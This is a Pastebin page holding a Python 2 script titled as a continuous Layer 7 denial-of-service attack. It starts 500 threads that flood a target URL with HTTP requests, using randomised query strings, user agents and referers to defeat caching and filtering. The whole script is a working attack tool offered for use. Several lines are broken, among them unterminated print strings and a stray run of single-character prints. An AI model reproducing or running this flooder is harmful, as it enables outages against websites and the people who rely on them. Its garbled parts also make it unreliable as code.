Advertisement
1337ings

[Python] Continues Layer7 DoS

Feb 10th, 2017
838
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.43 KB | None | 0 0
  1. # | - - - - - - - - - - - - - - - | #
  2. # | Continues Layer7 DoS attack | #
  3. # | Coded by Chris Poole | #
  4. # | - - - - - - - - - - - - - - - | #
  5. # | python Layer7.py <url> | #
  6. # | - - - - - - - - - - - - - - - | #
  7. import urllib2
  8. import sys
  9. import threading
  10. import random
  11. import re
  12.  
  13. #global params
  14. url=''
  15. host=''
  16. headers_useragents=[]
  17. headers_referers=[]
  18. request_counter=0
  19. flag=0
  20. safe=0
  21.  
  22. def inc_counter():
  23. global request_counter
  24. request_counter+=1
  25.  
  26. def set_flag(val):
  27. global flag
  28. flag=val
  29.  
  30. def set_safe():
  31. global safe
  32. safe=1
  33.  
  34. # generates a user agent array
  35. def useragent_list():
  36. global headers_useragents
  37. headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  38. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  39. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  40. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  41. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  42. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  43. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  44. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  45. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  46. headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  47. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  48. headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  49. return(headers_useragents)
  50.  
  51. # generates a referer array
  52. def referer_list():
  53. global headers_referers
  54. headers_referers.append('http://www.google.com/?q=')
  55. headers_referers.append('http://www.usatoday.com/search/results?q=')
  56. headers_referers.append('http://engadget.search.aol.com/search?q=')
  57. headers_referers.append('http://' + host + '/')
  58. return(headers_referers)
  59.  
  60. #builds random ascii string
  61. def buildblock(size):
  62. out_str = ''
  63. for i in range(0, size):
  64. a = random.randint(65, 90)
  65. out_str += chr(a)
  66. return(out_str)
  67.  
  68. def usage():
  69. print ' | - - - - - - - - - - - - - - - |
  70. print ' | Continues Layer7 DoS attack |
  71. print ' | Coded by Chris Poole |
  72. print ' | - - - - - - - - - - - - - - - |
  73. print ' | python Layer7.py <url> |
  74. print ' | - - - - - - - - - - - - - - - |
  75. print "\a"
  76.  
  77.  
  78.  
  79. #http request
  80. def httpcall(url):
  81. useragent_list()
  82. referer_list()
  83. code=0
  84. if url.count("?")>0:
  85. param_joiner="&"
  86. else:
  87. param_joiner="?"
  88. request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  89. request.add_header('User-Agent', random.choice(headers_useragents))
  90. request.add_header('Cache-Control', 'no-cache')
  91. request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  92. request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
  93. request.add_header('Keep-Alive', random.randint(110,120))
  94. request.add_header('Connection', 'keep-alive')
  95. request.add_header('Host',host)
  96. try:
  97. urllib2.urlopen(request)
  98. except urllib2.HTTPError, e:
  99. #print e.code
  100. set_flag(1)
  101. print 'r'
  102. print 'q'
  103. print 'p'
  104. print 'f'
  105. print '3'
  106. print 'e'
  107. print 'w'
  108. print 'o'
  109. print 'x'
  110. print 'y'
  111. print '7'
  112. print 'j'
  113. print 'i'
  114. print 'g'
  115. print 'z'
  116. print 'c'
  117. print '4'
  118. print '2'
  119. print 'n'
  120. print '7'
  121. print 'g'
  122. print 'k'
  123. print '8'
  124. print '0'
  125. code=500
  126. except urllib2.URLError, e:
  127. #print e.reason
  128. sys.exit()
  129. else:
  130. inc_counter()
  131. urllib2.urlopen(request)
  132. return(code)
  133.  
  134.  
  135. #http caller thread
  136. class HTTPThread(threading.Thread):
  137. def run(self):
  138. try:
  139. while flag<2:
  140. code=httpcall(url)
  141. if (code==500) & (safe==1):
  142. set_flag(2)
  143. except Exception, ex:
  144. pass
  145.  
  146. # monitors http threads and counts requests
  147. class MonitorThread(threading.Thread):
  148. def run(self):
  149. previous=request_counter
  150. while flag==0:
  151. if (previous+100<request_counter) & (previous<>request_counter):
  152. print "%d Shots sends Senting" % (request_counter)
  153. previous=request_counter
  154. if flag==2:
  155. print "\n -0 Hits are secced"
  156.  
  157. #execute
  158. if len(sys.argv) < 2:
  159. usage()
  160. sys.exit()
  161. else:
  162. if sys.argv[1]=="help":
  163. usage()
  164. sys.exit()
  165. else:
  166.  
  167. if len(sys.argv)== 3:
  168. if sys.argv[2]=="safe":
  169. set_safe()
  170. url = sys.argv[1]
  171. if url.count("/")==2:
  172. url = url + "/"
  173. m = re.search('http\://([^/]*)/?.*', url)
  174. host = m.group(1)
  175. for i in range(500):
  176. t = HTTPThread()
  177. t.start()
  178. t = MonitorThread()
  179. t.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement